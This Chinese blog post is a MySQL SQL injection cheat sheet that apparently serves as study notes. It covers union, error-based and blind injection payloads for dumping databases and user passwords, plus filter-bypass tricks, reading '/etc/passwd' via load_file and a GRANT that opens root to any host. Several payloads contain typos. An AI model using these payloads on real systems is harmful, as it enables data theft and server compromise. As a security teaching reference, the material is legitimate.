首页 > 数据库 >sql注入漏洞

sql注入漏洞

时间:2023-07-17 15:12:27浏览次数:28  
标签:0x7e 漏洞 concat --+ sql id select 注入

一、sql注入类型

sql注入方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。

1. 可显注入
攻击者可以直接在当前界面内容中获取想要获得的内容。

2. 报错注入
数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。

3. 盲注
数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或者使数据库执行延时等方法获取想要获得的内容。

二、mysql手工注入

1. 联合注入

?id=1' order by 3 --+
?id=0' union select 1,2,database() --+
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
?id=0' union select 1,2,group_concat(user,password) from users--+
?id=0' union select 1,2,password from users limit 0,1 --+

2. 报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

爆库:
?id=1' and updatexml(1,(select concat(ox7e,(schema_name),0x7e) from information_schema.schemata limit 1,1),1) --+

爆表:
?id=1'  and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schena="security" limit 1,1),1) --+

爆字段:
?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x75433333 limit 1,1),1) --+

爆数据:
?id=1’ and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) --+
或者
?id=1' and updatexml(1,(concat(0x7e,(select password from users limit 1,1),0x7e)),1) --+

3. 时间盲注
常用函数sleep()、substr()、substring()、left()、ascii()、hex()
一般时间盲注我们想要配合条件判断函数来使用

if (expre1,expre2,expre3)
当expre1为true时,返回expre2,false时,返回expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) --+

?id=1’ and if((substr((select user()),1,1)=‘r’),sleep(5),1)–+

4. 布尔盲注

?id=1' and substr((select user()),1,1)='r' --+

?id=1’ and IFNULL((substr((select user()),1,1)=‘r’),0) --+
//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

id=1’ and strcmp((substr((select user()),1,1)=‘r’),1) --+
//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

insert、delete、update
最终注入会出现在注册、ip头、留言板等等需要写入数据的地方。

三、 判断注入点是否存在

1. 数字型注入判断

//在url后输入
and 1=1
and 1=2
如果返回不同,则可判断注入点存在

2. 字符型注入判断

//在url后输入
’ and 1=1 and ‘1’='1
’ and 1=2 and ‘1’='1

3. 搜索型注入

’ 返回错误
x%’ and 1=1 and ‘%’=’ 返回正确
x%’ and 1=2 and ‘%’=’ 返回错误

四、实用知识点

显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;

开启外连:grant all privileges on . to 'root'@'%' identified by '123456' with grant option;

mysql提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限。
例子:union select load_file('/etc/passwd)#

mysql注释:

  1. #这个注释直到该行结束;
  2. /注释多行/;
  3. --+ 这个注释直到该行结束。

绕过空格过滤
我们可以使用//、%09、%0A、%0D、+、/|-|/、/@-|/、/?-|/、/|%20-%20|/来替换空格。

在window下的Oracle数据库,必须以system权限运行。

如果注入语句中的'='被过滤,可以考虑使用like关键字替换:union select password from users where username like admin;

如果空格被过滤,可以考虑使用'/**/'替换

标签:0x7e,漏洞,concat,--+,sql,id,select,注入
From: https://www.cnblogs.com/kalixcn/p/17560149.html

相关文章

  • 泛微ecology FileDownloadForOutDoc-前台sql注入
    厂商发布漏洞补丁Ecology_security_20230707_v9.0_v10.58.0.ziphttps://www.weaver.com.cn/cs/package/Ecology_security_20230707_v9.0_v10.58.0.zip?v=2023070700分析补丁文件ecology\WEB-INF\myclasses\weaver\security\rules\ruleImp\SecurityRuleForOutDocForSql.class......
  • 安全相关--SQL注入
    SQL注入的原因SQL注入的原因是由于特殊符号的组合会产生特殊的效果实际生活中尤其是在注册用户名的时候会非常明显的提示你很多特殊符号不能用因此我们在设计到敏感数据部分不要自己拼接交给现成的方法拼接即可pycharm操作MySQLimportpymysqlconn=pymysql.connect(......
  • mysql报错:You must reset your password using ALTER USER statement before executin
    mysql报错:YoumustresetyourpasswordusingALTERUSERstatementbeforeexecutingthisstatement.新安装mysql后,登录后,执行任何命令都会报错:YoumustresetyourpasswordusingALTERUSERstatementbeforeexecutingthisstatement. 【解决办法】MySQL版本5.7.6版本......
  • MySql 8.0 设置允许远程登录授权
    MySQL连接出现isnotallowedtoconnecttothisMySQLServer错误提示打开MySQL8.0CommandLineClient1.打开远程连接mysql>usemysql;mysql>updateusersetuser.Host=’%’whereuser.User=‘root’;mysql>flushprivileges;mysql>selecthost,userfromuse......
  • MySQL中对JSON数据操作(较全)
    MySQL对JSON数据操作链接:(160条消息)【MySQL】对JSON数据操作(全网最全)_mysqljson_0世界和平0的博客-CSDN博客创建json格式字段CREATETABLE`dept`(`id`int(11)NOTNULL,`dept`varchar(255)DEFAULTNULL,`json_value`jsonDEFAULTNULL,PRIMARYKEY(`id......
  • sqlsever ip连接 navicat 连报错 sql server 设sa密码
    一、sqlserverip连接1、按下windows+R,弹出运行框。2、在弹出框中输入cmd,按下enter键。3、在dos命令窗口输入compmgmt.msc命令,按下enter键。将服务中:SQLServer(mssqlserver)、SqlServerBrowser启动 4、在计算机管理窗口-》展开服务和应用程序-》展开SQLServer配置管理......
  • python连接Mysql 1-01
    一,下载对应python环境的MySQL连接包我的是python3所以下载的是这个(cmd)pip3installPyMySQL二,创建py文件编写importpymysql#打开数据库连接db=pymysql.connect(host='localhost',user='root',password='123456',db='test1')#使用cursor()方法创建一个游......
  • PostgreSQL中一个索引的三种不同的扫描类型: 位图、索引和仅索引
    性能是数据库管理系统的基本要素之一。性能低下意味着查询时间过长和前端响应时间过高。提高性能的最有效方法之一是为表列建立适当的索引。索引可以节省大量的数据访问时间,并引导查询以最快的方式收集结果。在PostgreSQL中,有不同的方法可以利用索引来产生最有效的计划。本文中,我......
  • PostgreSQL 常用函数(一)
    函数(function)是一些预定义好的代码模块,可以将输入进行计算和处理,最终输出一个结果值。PostgreSQL函数可以分为两类:标量函数(scalarfunction)和聚合函数(aggregationfunction)。标量函数针对每个输入都会返回相应的结果,聚合函数针对一组输入汇总出一个结果。为了便于学习,可以将常见的......
  • 一文搞懂为什么Mysql索引会失效
    在工作中,如果我们想提高一条语句查询速度,通常都会想对字段建立索引。 但是索引并不是万能的。建立了索引,并不意味着任何查询语句都能走索引扫描。稍不注意,可能你写的查询语句是会导致索引失效,从而走了全表扫描,虽然查询的结果没问题,但是查询的性能大大降低。今天就来跟大家盘......